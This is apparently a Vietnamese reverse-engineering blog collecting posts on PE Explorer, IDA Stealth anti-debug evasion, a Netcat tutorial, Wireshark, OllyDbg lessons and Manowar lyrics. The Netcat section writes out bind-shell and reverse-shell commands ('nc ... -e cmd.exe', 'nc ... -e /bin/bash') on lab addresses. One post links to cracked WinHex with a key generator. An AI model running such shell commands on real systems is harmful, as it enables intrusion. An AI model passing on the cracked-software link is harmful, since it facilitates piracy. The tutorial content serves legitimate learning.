Designed for inspection and editing of Windows executable files, PE Explorer offers powerful static analysis and editing tools for working with EXE, DLL, ActiveX controls, and other executable file formats that run on MS Windows 32-bit platforms.

Whether you are an advanced computer user just wondered what makes an executable file tick, or software developer suffered from hard-to-find program bugs, PE Explorer is the software solution that will make it easy to find the answers.

All the Tools You Need in One Interface

PE Header and Section Viewer/Editor
Resource Viewer and Editor
Exported/Imported API Function List Viewer
Disassembler
Dependency Scanner
Digital Signature Viewer
UPX, Upack and NsPack Static Unpackers

What You Can Do with PE Explorer

See what’s inside an executable
Customize GUI elements of your favorite Windows programs
Track down what a program accesses and which DLLs are called
Understand the way a program works and interacts
Validate and verify signed PE files
Special support for Delphi applications
Open UPX-, Upack- and NsPack-compressed files seamlessly in
PE Explorer, without long workarounds

Download here:

PE.Explorer.v1.99.R4

Đợt rồi bên Unpack.cn mới xuất hiện một cái tên rất lạ TTProtect. Tuy mới ra đời những không vì thế mà giang hồ đánh giá thấp về nó. Theo như nhận xét của Còm đại ca thì “Về cơ bản, tính năng của TTProtect có vẻ nhái lại của Themida/Winlic. Là đàn em, có vẻ nó có tính năng antidebug tốt hơn”. Công nhận thằng này cũng ác, thử đủ kiểu nhưng không làm sao run/attach được trong Olly:

1. Run unpackme và Attach vào Olly tèo.
2. Load program bình thường và run cũng tèo.

Sau một hồi nghịch ngợm config cái đống Plug-in để Anti-Debug, không hiểu thế nào mà cuối cùng cũng run được nó.

Mấy hôm nay chú UnRegistered! cứ hỏi “Sao anh bypass Anti-Debug được để run trong Olly thế? Chỉ cho em với”. Tôi cũng chẳng biết trả lời thế nào, đành quay cái movie minh họa :

Download movie tại đây:

Run TTProtect in OllyDbg

Best Regards

kienmanowar

IDA Stealth Plugin

Posted: October 3, 2008 in IDA Stealth Plugin, RE Tools

IDA Stealth Plugin

IDA Stealth is a plugin which aims to hide the IDA debugger from most common anti-debugging techniques.

The plugin is composed of two files, the plugin itself and a dll which is injected into the debuggee as soon as the debugger attaches to the process. The injected dll actually implements most of the stealth techniques either by hooking system calls or by patching some flags in the remote process.

Installation

To install the plugin, copy both files to the plugins directory of your IDA installation. Make sure, that the cfg subdirectory is writable, because that’s where the plugin stores its configuration.

If you find bugs or want to suggest new stealth techniques just drop me a mail or create a new forum topic.
Changelog

07/24/2008 – v1.0 Beta 1

* Bugfix: Multiple minor bugfixes
* Added: Fake OS version
* Added: Disable NtTerminateThread/NtTerminateProcess

07/14/2008 – v1.0 Alpha 4

* Bugfix: Injection of stealth dll could fail in some cases (see N-InjectLib)

07/13/2008 – v1.0 Alpha 3

* Added: Multiple stealth techniques (OpenProcess, DBG_PRINTEXCEPTION, hardware breakpoint protection, hide IDA process and windows, to name but a few)
* Improved: Overall stealth: xADT as well as Extreme Debugger Detector 0.5 are unable to detect an attached debugger (except for RDTSC based tests and scanning the HDD for various tools)
* Bugfix: Plugin didn’t correctly de-register from debug callback; crashed with newly created databases

07/06/2008 – v1.0 Alpha 2

* Bugfix: Injection of stealth dll failed if IMAGE_DIRECTORY_ENTRY_IAT of process was zero, so the plugin didn’t work with most packed executables
* Bugfix: NtQueryInformationProcess didn’t work (CheckRemoteDebuggerPresent was implicitly affected)

07/04/2008 – v1.0 Alpha

* First alpha release, some features still missing, needs testing, major bugs
* Known Bugs:
o Problems when modifying import directory of packed executables (error 0xC000007B)

09/02/2008 – v1.0 Beta 2

Bugfix: Due to improper checking of input parameters in the NtQuerySystemInformation hook, the debugged process could raise an exception, finally unveiling the existence of IDA Stealth
Bugfix: Hiding of possibly existing kernel debugger now working correctly
Bugfix: Fake parent process and Hide IDA from process list are no longer mutual exclusive
Bugfix: NtQueryInformationProcess hook accepted too small input buffers
Bugfix: NtQueryInformationProcess hook erroneously assumed the process handle to be always that of the current process
Bugfix: Exception caused by closing an invalid handle is now properly hidden from the debugged process by using SEH or Vectored exception handling
Bugfix: NtSetInformationThread wasn’t hooked at all due to a typo
Bugfix: Added checks to hook functions so they behave as expected when an invalid handle is passed. Affected functions:
NtSetInformationThread
SuspendThread
SwitchDesktop
NtTerminateThread
NtTerminateProcess
Bugfix: RtlGetVersion returned wrong platform ID and build number
Added: Console version of IDA is also hidden from process list

09/15/2008 – v1.0 Beta 3

* Bugfix: NtQuerySystemInformation hook possibly returned wrong error code when handling SystemKernelDebuggerInformation query
* Bugfix: NtQueryObject hook mistakenly assumed that all object names are zero terminated strings
* Improved: NtQueryInformationProcess considers the case that the debuggee itself might act as a debugger (see Tuts4You baord)
* Improved: Exception triggered by NtClose is now blocked in the first place (detailed description)
* Added: Countermeasures against anti-attach techniques

Download here:

IDAStealth

Fifa 2009 Advanced Tutorials for PSP!

Fifa 09 Standard Skills Tutorial for PSP

Đợt rồi tôi nhận được một số câu hỏi liên quan tới việc làm sao để cho Olly hiện thị các đoạn code với màu sắc rõ ràng. Trước nay tôi toàn tự manual edit, sau đó kiểm nghiệm lại cho tới khi đạt được điều mình ưng ý. Đợt rồi qua site của  Oleh Yuschuk tôi tình cờ thấy có thêm phần Schemes nói về cách căn chỉnh màu trong Olly, các bạn có thể tham khảo thêm tại đây (http://ollydbg.de/schemes.html).

Màu sắc mà tôi đang sử dụng là cái này :

[Colours]
Scheme[*]=10,14,16,0,5,13,17,13
Scheme name[*]=Alex black[Syntax]
Commands[*]=10,11,12,14,10,13,10,48,48,2,110,0,0,0
Operands[*]=0,73,0,0,0,0,0,0,0,0,0,0,0,0
Scheme name[*]=Alex black

Bạn đã nghe Heart Of Steel bao giờ chưa ?. Và tôi cũng muốn bạn đồng ý với tôi đó là bản Ballad hay nhất của Manowar. Liệu bạn có thể tìm ra một lời hát thứ hai ý nghĩa và sâu sắc như lời của Heart of Steel: “I fight the world and take all they can give. There are times my heart hangs low. Born to walk against the wind. Born to hear my name. No matter where I stand I’m alone”.

Tôi cho rằng rất nhiều bạn trẻ hiện nay đều muốn thể hiện được bản thân mình giữa một cộng đồng chung. Đấy là điều rất đáng hoan nghênh. Một tập thể mà bất cứ cá nhân nào cũng giống nhau thì đó là một tập hợp chứ không phải là một tập thể ( Định nghĩa tập hợp: gồm nhiều phần tử có chung với nhau một tính chất nhất định).

Nhưng phải chăng bạn đã thể hiện được cái “tôi” của chính mình. Bạn luôn muốn đưa ra ý kiến khác mọi người, nhưng không hiểu sao bạn không đủ dũng cảm để giơ cánh tay của mình lên. Bạn sợ rằng khi nói sai mình sẽ mất đi sự tin cậy, uy tín đối với tập thể. Hoặc khi làm việc gì đó, bạn có cách riêng để giải quyết vấn đề theo hướng của mình, nhưng do không thấy ai làm giống mình, hoặc không có ai ủng hộ nên bạn đành phải quên giải pháp của mình đi và gượng ép làm theo số đông. Nguyên nhân của sự e dè này là gì ?

Đó chính là lòng dũng cảm để đón nhận thất bại. Không có một ai thành công mà chưa hề thất bại, nhưng sau mỗi thất bại họ đều biết cách đứng dậy. Đối với bạn mọi việc cũng như vậy. Bạn sợ khi làm theo ý kiến mình, bạn sẽ không thành công, và cái lòng “tự kiêu” trong con người bạn không cho phép bạn thất bại. Bạn sẽ hy sinh đi bản thân mình để đón lấy thành công trong mọi việc.

Với Manowar thì khác. Họ có lòng dũng cảm để “I fight the World”, nhưng cái mà tôi khâm phục chính là lòng dũng cảm để “and take all they can give”. Nói ra ý kiến của mình thì dễ, nhưng dám đứng ra nhận trách nhiệm về ý kiến của mình thì không phải ai cũng làm được. Nhưng Manowar dám làm điều đó. Họ sinh ra là để đón nhận những điều khó khăn: ” We like it hard, We like it Fast”, là để đối đầu lại với ngọn gió lớn: “Born to walk against the wind”. Cho dù họ có đơn độc và bị cả thế giới chống đối, họ vẫn giữ vững được ý chí và lập trường của mình: “No matter where I stand I’m alone”.

Build a fire a thousand miles away
To light my long way home
I ride a comet
My trail is long to stay
Silence is a heavy stone
I fight the world and take all they can give
There are times my heart hangs low
Born to walk against the wind
Born to hear my name
No matter where I stand Im alone

Stand and fight
Live by your heart
Always one more try
Im not afraid to die
Stand and fight
Say what you feel
Born with a heart of steel

Burn the bridge behind you
Leave no retreat
Theres only one way home
Those who laugh and crowd the path
And cut each others throats
Will fall like melting snow
Theyll watch us rise with fire in our eyes
Theyll bow their heads
Their hearts will hang low
Then well laugh and they will kneel
And know this heart of steel was
Too hard to break
Too hard to hold

Stand and fight
Live by your heart
Always one more try
Im not afraid to die
Stand and fight
Say what you feel
Born with a heart of steel

—–Bài cảm nhận bên nhacrockonline———

Đây là video của bài này :)

Lyric :

They can’t stop us
Let ‘em try
For heavy metal
We will die!

Quit my job this morning said forever
I would hold my head up high
Cause i need metal in my life
Just like an eagle needs to fly

So i walked outside into the street
From a hall i heard thunder and screams
I walked inside so i could hear
and the guy beside me gave me a beer

He had his fist up in the air
and called me brother said my friends
are over there

They call themselves immortals
They’re the truest of the true
And in that very moment
I was born again like you

They said hold your head up high
Raise your fist up in the air
Play metal louder than hell
Louder than hell

They can’t stop us
Let ‘em try
For heavy metal
We would die!

Brothers stand beside me, there’s a battle on
Know my words are true
There’s a battle for true metal
They’re marching; they’re marching on
me and you

Ten thousand strong are here tonight
With twenty thousand fists up in the air
The power of true metal’s calling you
It’s everywhere

Hold your head up high
Raise your fist up in the air
Play metal louder than hell
Louder than hell

They can’t stop us
Let ‘em try
For heavy metal
We would die!

Movie :

Kings Of Metal – Manowar

Posted: October 10, 2008 in Kings Of Metal, Movie

Lyric :

2. Kings Of Metal

[Joey DeMaio,Ross The Boss]

Manowar Manowar living on the road
When we’re in town speakers explode
We don’t attract wimps ’cause we’re too loud
Just true metal people that’s Manowar’s crowd

They wanna keep us down
But they can’t last
When we get up we’re gonna kick your ass
Gonna keep on burnin’
We always will
Other bands play Manowar kill
Other bands play Manowar kill

We like it hard, we like it fast
We got the biggest amps, man they blast
True metal people wanna rock not pose
Wearin’ jeans and leather, not cracker jack clothes

They wanna keep us down
But they can’t last
When we get up we’re gonna kick your ass
Gonna keep on burnin’
We always will
Other bands play Manowar kill
Other bands play Manowar kill

We’re the kings of metal comin’ to town
When we light up, have the roof nailed down
Don’t try to tell us that we’re too loud
‘Cause there ain’t no way that we’ll ever turn down

They wanna keep us down
But they can’t last
When we get up we’re gonna kick your ass
Gonna keep on burnin’
We always will
other bands play Manowar kill

1.4 Netcat The Almighty
Tổng quan

Netcat là một công cụ được giới Hacking và Security đánh giá là tuyệt vời. Giải thích đơn giản thì netcat là một công cụ có thể “read and write to TCP and
UDP ports”. Netcat có thể chạy ở hai mode : “client” hoặc “server”. Một lời khuyên rất hay mà tôi thường gặp là “Nếu như bạn cảm thấy hay và còn lờ mờ về vấn đề hay công cụ đó hãy tự mình research”

1.4.1 Connecting to a TCP/UDP port with Netcat
Việc kết nối tới một TCP/UDP port trong nhiều trường hợp sẽ giúp ích cho chúng ta những vấn đề sau :

  • Chúng ta muốn kiểm tra xem một port đang open hay đã close (Khả năng quét cổng ngẫu nhiên.)
  • Chúng ta muốn đọc banner từ port
  • Chúng ta muốn kết nối tời một network service

Ok, chúng ta chạy thử netcat và xem help của nó :

1. Để kết nối tới một TCP port 22 tại địa chỉ nào đó và grap lấy banner của chương trình ssh server ta làm như sau (ở đây tôi lấy đại một địa chỉ) :

bt ~ # nc -vv vgr.net 22
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 22 (ssh) open
SSH-2.0-OpenSSH_3.8.1p1
sent 0, rcvd 24
bt ~ #

2. Kết quả ta thấy cổng 22 đang open và SSH banner trả về là SSH-2.0-OpenSSH_3.8.1p1

3. Giờ thử connect tới port 80 xem thế nào nhé, thêm vào đó ta sẽ gửi một HTTP HEAD request tới server và đọc ra HTTP server banner. Ta làm như sau :

bt ~ # nc -vv vgr.net 80
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 80 (http) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 10 Oct 2008 03:12:20 GMT
Server: Apache
X-Powered-By: PHP/4.4.2
Connection: close
Content-Type: text/html; charset=ISO-8859-1

sent 17, rcvd 161
bt ~ #

Qua đây ta đoán được Server này sử dụng Apache làm Web Server, trên đó đã cài PHP với version có thể là 4.4.2.

1.4.2 Listening on a TCP/UDP port with Netcat
Một tính năng rất hay khác của netcat đó là listen trên một port TCP/UDP, nó mang tới khả năng trong việc ” network debugging client applications”, hoặc “receiving a TCP/UDP network connection”

Ta thử thực hiện một đoạn chat đơn giản sử dụng netcat, công việc này cần có hai máy. Máy của tôi có địa chỉ ip là 10.32.110.67 (OS: Linux), máy khác có ip là 10.32.110.57 (OS : WindowsXP).

1. Trên máy của tôi,tôi chạy netcat cho listen trên port 4444 và lắng nghe các kết nối tới máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …

2. Từ máy Windows tôi thực hiện kết nối tới máy tôi :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open

Gõ thử dòng sau :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you

Chuyển qua máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 2219
Hi, how are you <== thông điệp nhận được
I’m fine. Thanx..And you? <== tôi gửi lại

Kết quả trên máy Windows :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you
I’m fine. Thanx..And you?

1.4.3 Transferring files with Netcat
Netcat có thể được sử dụng để truyền nhận file như một simple ftp.Nó hỗ trợ truyền text và binary files.Thực hiện demo tranfer một file từ máy Windows tới máy Linux.

1. Tại máy Linux : ta cho netcat lắng nghe và chấp nhận kết nối đồng thời chuyển hướng bất kì một input nào từ máy Windows vào một file.

bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …

2. Tại máy Windows : ta tạo ra một file test.txt có nội dung tùy ý.Sau đó connect tới máy Linux và send file.

C:\nc111nt>echo “Hi! I want to transfer some files to you..lolz!!” > test.txt

C:\nc111nt>type test.txt
“Hi! I want to transfer some files to you..lolz!!”

C:\nc111nt>nc.exe -vv 10.32.110.67 4444 < test.txt
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open

Do netcat không có thông báo hay dấu hiệu gì cho ta thấy rằng đang truyền file, cho nên ta đợi một lúc sau đó nhấn Ctrl + C để thoát khỏi netcat.

3. Tại máy Linux tiến hành kiểm tra
bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 4084
bt ~ # cat output.txt
“Hi! I want to transfer some files to you..lolz!!”
bt ~ #

Dùng lệnh cat để kiểm tra nội dung của file output.txt như trên. :)

1.4.4 Remote Administration with Netcat
Một tên gọi khác của netcat được nhiều người gọi là “Netcat as a BackDoor”. Một trong những tính năng có thể gọi là tinh xảo của netcat đó là command redirection. Điều này được giải thích như sau :
“Netcat can take an exe file and redirect the input,output and error messages to a TCP/UDP port, rather than to the default console.”. Ta lấy ví dụ để cho dễ hiểu với file cmd.exe trên máy Windows.Bằng việc redirect stdin/stdout/stderr, chúng ta có thể bind chương trình cmd.exe vào một local port.Bất kì một người nào kết nối tới port này sẽ nhận được một command prompt. Hehe có vẻ lằng nhằng nhỉ, theo dõi một số ví dụ để dễ hình dung.

Giả sử, có hai user là Bob và Alice – hai user này đều muốn tìm cách kết nối tới máy của nhau.Hãy xem hình minh họa về mô hình mạng cũng như vai trò của từng người trong mô hình.

1.4.4.1 Scenario 1 – Bind Shell
Trong ví dụ 1 này, Bob muốn nhờ tới sự trợ giúp của Alice do đó anh ta đề nghị Alice kết nối tới máy của anh ta để giúp đỡ. Như bạn thấy trong hình trên Bob tác giả nói là (Bob has a non RFC 1918 address (http://www.faqs.org/rfcs/rfc1918.html)) và anh ta kết nối trực tiếp với internet.Tuy nhiên, ngược lại Alice lại đừng đằng sau một NAT connection.

Để giúp alice connect tới máy mình Bob làm như sau, anh ta cần phải bind cmd.exe ra một port TCP trên máy anh ta và sau đó thông báo cho Alice kết nối tới port đó.
Trên máy của Bob :

C:\nc111nt>nc -lvvp 4444 -e cmd.exe
listening on [any] 4444 …

Điều này hơi nguy hiểm bởi lẽ nếu một người nào đó không phải là Alice mà sử dụng việc scan port trên máy Bob và dùng nc kết nối tới thì sẽ nguy hiểm. Ở đây ta giả sử chỉ có Alice kết nối tới.

Tại máy của Alice

bt ~ # nc -v 10.32.110.57 4444
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\nc111nt> <== hiện ra cái này là kết nối thành công :)

Tiếp theo thử gõ lệnh xem thế nào :

C:\nc111nt>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4CD7-38CF

Directory of C:\nc111nt

10/10/2008 03:42 PM

.
10/10/2008 03:42 PM ..
12/28/2004 11:23 AM 12,166 doexec.c
07/09/1996 04:01 PM 7,283 generic.h
11/06/1996 10:40 PM 22,784 getopt.c
11/03/1994 07:07 PM 4,765 getopt.h
02/06/1998 03:50 PM 61,780 hobbit.txt
12/27/2004 05:37 PM 18,009 license.txt
11/28/1997 02:36 PM 544 makefile
12/29/2004 01:07 PM 61,440 nc.exe
12/29/2004 01:07 PM 69,662 netcat.c
12/27/2004 05:44 PM 6,833 readme.txt
10/10/2008 03:42 PM 53 test.txt
11 File(s) 265,319 bytes
2 Dir(s) 31,878,184,960 bytes free

C:\nc111nt>

1.4.4.2 Scenario 2 – Reverse Shell
Tình huống thứ hai, giờ đến lượt Alice muốn nhờ Bob giúp.Ta giả định rằng Alice không phải là người kiểm soát NAT device, vậy có cách nào để Bob kết nối tới máy của Alice và giúp đỡ cô ấy. :(

Một tính năng thú vị khác của netcat là khả năng send một command shell tới một listening host.Vì vậy trong tình huống này, mặc dù Alice không thể bind port tới cmd.exe trên máy của cô ấy và mong chờ Bob kết nối tới, cô ấy có thể send command prompt của cô ấy tới máy của Bob :) . Vậy thực hiện như sau :

Tại máy của Bob:

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …

Tại máy của Alice :

bt ~ # nc -v 10.32.110.57 4444 -e /bin/bash
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open

Lúc này tại máy của Bob ta thấy như sau :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA

Lúc này ta có thể gõ lệnh được rồi :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:36:1E:01
inet addr:10.32.110.67 Bcast:10.32.110.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1
RX packets:188690 errors:1 dropped:0 overruns:0 frame:0
TX packets:16575 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:24337003 (23.2 MiB) TX bytes:3898205 (3.7 MiB)
Interrupt:16 Base address:0×2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1135 (1.1 KiB) TX bytes:1135 (1.1 KiB)

ls
Desktop
dnsz.sh
dodnsr.sh
dopings.sh
findicq.sh
icq-ips.txt
icq-srv.txt
index.html
output.txt

Chà thật là thú vị. Dưới đây là đôi lời của tác giả viết bài này :


Netcat has other nice features and uses such as simple sniffing abilities, port redirection and others which I will leave for you to research independently. The reason I didn’t want to call this Module “Netcat as a backdoor” is that students usually start thinking about the malicious implementations of such a backdoor, and one of the first questions asked is: “How to I get Netcat to run on the victim machine, without remote user intervention?”.I usually dismiss this question, with a horrified look on my face. The magic answer to this question is simply “remote code execution”.Ninety percent of attack vectors can be summarized with the pair of words “code execution”.For example,attacks such as Buffer Overflows, SQL injection, File Inclusion,Client Side Attacks, Trojan Horses – all aim to result in “code execution” on the victim machine.

X-Ways.Winhex.v15.1.SR-4.Incl.Keymaker-ZWT

WinHex is in its core a universal hexadecimal editor, particularly helpful in the realm of computer forensics, data recovery, low-level data processing, and IT security. An advanced tool for everyday and emergency use: inspect and edit all kinds of files, recover deleted files or lost data from hard drives with corrupt file systems or from digital camera cards. Features include (depending on the license type):

  • Disk editor for hard disks, floppy disks, CD-ROM & DVD, ZIP, Smart Media, Compact Flash, …
  • Native support for FAT, NTFS, Ext2/3, ReiserFS, Reiser4, UFS, CDFS, UDF
  • Built-in interpretation of RAID systems and dynamic disks
  • Various data recovery techniques
  • RAM editor, providing access to physical RAM and other processes’ virtual memory
  • Data interpreter, knowing 20 data types
  • Editing data structures using templates (e.g. to repair partition table/boot sector)
  • Concatenating and splitting files, unifying and dividing odd and even bytes/words
  • Analyzing and comparing files
  • Particularly flexible search and replace functions
  • Disk cloning (under DOS with X-Ways Replica)
  • Drive images & backups (optionally compressed or split into 650 MB archives)
  • Programming interface (API) and scripting
  • 256-bit AES encryption, checksums, CRC32, hashes (MD5, SHA-1, …)
  • Erase (wipe) confidential files securely, hard drive cleansing to protect your privacy
  • Import all clipboard formats, incl. ASCII hex values
  • Convert between binary, hex ASCII, Intel Hex, and Motorola S
  • Character sets: ANSI ASCII, IBM ASCII, EBCDIC, (Unicode)
  • Instant window switching. Printing. Random-number generator.
  • Supports files >4 GB. Very fast. Easy to use.

X-Ways.Winhex.v15.1.SR-4.Incl.Keymaker-ZWT

http://rapidshare.com/files/153199317/zwhx1514.zip.html

1.5  Using Wireshark (Ethereal)
Tổng quan

Việc học và hiểu tốt về một công cụ sniffer là một trong những yêu cầu tối cần thiết đối với những người làm việc liên quan tới network. Việc sử dụng tốt sniffer sẽ giúp chúng ta :

  • Capture được các gói tin từ nhiều nguồn khác nhau
  • Hiểu sâu hơn về bộ giao thức TCP/IP
  • Phân tích các gói tin được capture để hiểu rõ hơn về chức năng của giao thức mạng
  • Giúp đỡ trong việc phân tích và khắc phục sự cố mạng

1.5.1  Peeking at a Sniffer
Ok thực hiện một demo nhỏ, tôi bật WireShark lên và cấu hình nó, sau đó tôi truy cập vào website : www.milw0rm.com. Sau khi truy cập xong, tôi cho dừng việc capture packets của WireShark và tiến hành phân tích ngữ nghĩa của dòng traffic.


Packet1 : ARP Broadcast. Tại sao lại có nó nhỉ, hehe quay trở lại ví dụ của chúng ta, ta đang cố gắng thực hiện một kết nối ra ngoài Internet, và trước khi máy tính của chúng ta có thể thực sự trao đổi được dữ liệu, nó cần phải xác định defaut gateway nằm ở đâu trong mạng Local network (tức là mạng LAN hiện thời của chúng ta). Địa chỉ IP của default gateway đã được cấu hình trên máy tính của chúng ta rồi, tuy nhiên địa chỉ MAC của nó thì chúng ta chưa biết. Do đó từ máy tính của tôi gửi đi một thông điệp tới toàn mạng LAN rằng “Ai có địa chỉ IP là 192.168.0.1? Hãy trả lời lại cho 192.168.0.186″.

Packet2 : Toàn bộ máy tính trong mạng local subnet của tôi đều nhận được gói tin Arp broadcast này và chúng kiểm tra xem có phù hợp với yêu cầu từ máy tôi hay không.Lúc này chỉ có duy nhất địa chỉ 192.168.0.1 trả lời lại cho gói tin ARP của tôi và nó gửi lại cho máy tôi một gói tin là ARP unicast reply, trong đó chứa thông tin về địa chỉ MAC của default gateway.

Packet3 : Ok, giờ thì máy tính của tôi đã biết được nơi mà nó cần  phải gửi các packets để làm sao các packets đó đi ra được Internet, chúng ta cần resolve địa chỉ IP của website : www.milw0rm.com. Máy tính của tôi gửi một gói tin là DNS query tới DNS Server được chỉ ra trong phần cấu hình TCP/IP trên máy của tôi và hỏi DNS Server rằng : Địa chỉ ip của site milw0rm.com là gì?

Packet4 : Thằng DNS Server trả lời lại cho ta biết rằng FQDN của thằng www.milw0rm.com có bí danh là milw0rm.com

Packet5 : Tiếp theo máy tính của ta chấp nhận câu trả lời từ phía DNS Server và tiếp tục đi tìm câu trả lời cuối cùng là địa chỉ IP của milw0rm.com là gì ?

Packet6 : Lúc này thằng DNS Server sẽ trả lời lại và nói cho máy ta biết địa chỉ IP của site milw0rm.com là 213.150.45.196.

Packet7 : Có được câu trả lời về IP của milw0rm, máy của chúng ta tiến hành thủ tục bắt tay 3 bước (3 way handshake) với địa chỉ ip 213.150.45.196 tại port 80 và bắt đầu bằng việc gửi đi một SYN request.

Packet8 : Thằng Web Server sau khi nhận được gói SYN request của ta sẽ trả lời lại bằng một ACK và SYN về máy của ta.

Packet9 : Lúc này máy chúng ta kết thúc quá trình bắt tay 3 bước bằng cách gửi lại ACK về Web Server.

Packet10 : Sau khi kết thúc quá trình bắt tay tức là máy chúng ta lúc này có thể nói chuyện bằng service sử dụng các specific protocol. Do dúng ta dùng Web browser, cho nên máy chúng ta sẽ gửi một HTTP GET để yêu cầu lấy trang index page, và tất cả các linked images về browser của ta.

Packet11 – end : Toàn bộ trang index của  milw0rm đã được load về browser trên máy của chúng ta.

Sau khi phân tích như trên các bạn có thể thấy rằng chương trình sniffer thực sự rất hữu ích, nó giúp ta hình dung rõ ràng nhất những gì đang xảy ra trong môi trường mại của chúng ta.

1.5.2  Capture filters
Nhìn hình minh họa ở trên các bạn sẽ nhận thấy nó rất đẹp, đẹp là bởi vì nó không có các gói tin thuộc dạng “background noise”. Phải thú thực những gì mà ta làm ở trên là một ví dụ lý tưởng, đối với những môi trường nhiều máy tính truy cập các bạn sẽ nhận thấy khi ta capture sẽ nhận được vô số các gói tin hỗn độn nằm ngoài mục đích mong muốn của chúng ta. Những gói tin broadcast, các miscellaneous network services và các running applications khiến cho chúng ta nhiều lúc bị rối rắm trong quá trình phân tích các traffic.

Chính vì lý do này mà chúng ta phải cần tới các bộ lọc.Nhiệm vụ của filter sẽ giúp cho chúng ta loại ra các gói tin không cần thiết trong phiên capture. Các bạn hãy từ mình nghiên cứu và khám phá về nó.

1.5.3  Following TCP Streams
Như bạn thấy trong ví dụ về milw0rm.com ở trên, ta thấy rằng các packet từ 11- cho tới hết là khá  khó khăn trong việc phân tích bởi nó bao gồm các fragments. Các chương trình sniffer hiện đại như WireShark có khả năng ráp nối lại toàn bộ thông tin của một session cụ thể và hiện thị nó dưới dạng dễ nhìn và dễ hiểu hơn.

OllyDbg Tut_12

Posted: October 15, 2008 in OllyDbg Tutorials, OllyDbg tut_12

Một cái đầu lạnh để vững vàng, một trái tim đỏ lửa để yêu và làm việc hết mình!

I. Giới thiệu chung

Chào các bạn, trong phần bài viết trước ở phần 11 tôi đã hướng dẫn các bạn tìm hiểu về hai dạng Break Points là Hardware BreakpointsConditional Breakpoints, cũng như các cách thiết lập cho hai dạng BP này. Lẽ ra trong phần 11 tôi cũng định giới thiệu luôn về dạng Message BreakPoints, nhưng thiết nghĩ nếu gộp luôn vào trong phần 11 sẽ khiến các bạn quá tải và dẫn đến “tẩu hỏa” mất J. Cho nên tôi cắt riêng phần Message Breakpoints ra và quyết định giới thiệu về nó trong phần 12 này. Rất nhiều điều thú vị đang nằm ở phía trước…. N0w….L3t’s G0!!!!!!!!!

II. BreakPoints in OllyDbg

1.Message Breakpoints :

Message Breakpoint là gì nhỉ? Sao lại lắm lọai BP đến thế J. Khi gặp bất kì những vấn đề nào mới, trong đầu tôi luôn xuất hiện những câu hỏi liên quan đến vấn đề đó. Sau đó, tôi tìm cách tiếp cận thông tin để giải quyết cho những câu hỏi của tôi. Trước tiên, tôi chẳng biết Message Breakoint nó là cái gì, cho nên tôi tra help của Olly trước, hi vọng sẽ tìm ra chút thông tin nào đó về nó. Đọc trong help file của Olly thì chỉ nhận được một chút thông tin như sau :

Message breakpoint is same as conditional logging except that OllyDbg automatically generates condition allowing to break on some message (like WM_PAINT) on the entry point to window procedure. You can set it in the Windows window

Thông tin đầu tiên gợi mở cho tôi là thằng Message breakpoint này gần tương tự như Conditional Log BP ngoài trừ việc khác ở chỗ Olly hoàn toàn tự động tạo ra các điều kiện cho phép dừng lại tại các Message. Mà cái Message ở đây chính là các Windows Message. Tôi không phải là dân chuyên lập trình cho nên tôi tìm hiểu tiếp các thông tin khác trên Net về Windows Message :

“The messages in Windows are used to communicate most of the events, at least in the basic levels. If you want a window or control (which is a specialized window) does something, you must send a message to him. If another window wants you do something, then it sends a message to you. If an event occurs, such as when the user moves the mouse, presses the keyboard, etc… the system sends a message to the affected window. This window receives the message and acts suitably.”

-Message là một trong những phương tiện giao tiếp quan trọng nhất trong môi trường Windows.

-Lập trình trong Windows chủ yếu là đáp ứng lại những sự kiện.

-Message có thể báo hiệu nhiều sự kiện gây ra bởi người sử dụng, hệ điều hành, hoặc chương trình khác.

-Có hai lọai message: window message và thread message.

Window Message:

-Tất cả các message đều được trữ trong một Message Queue(một nơi trong bộ nhớ). Những message này sau đó sẽ được luân chuyển giữa các ứng dụng.

Message Loop:

-Bạn có thể gọi những message bằng cách tạo ra một Message Queue.

-Message Loop là một vòng lặp kiểm tra những message trong Message Queue.

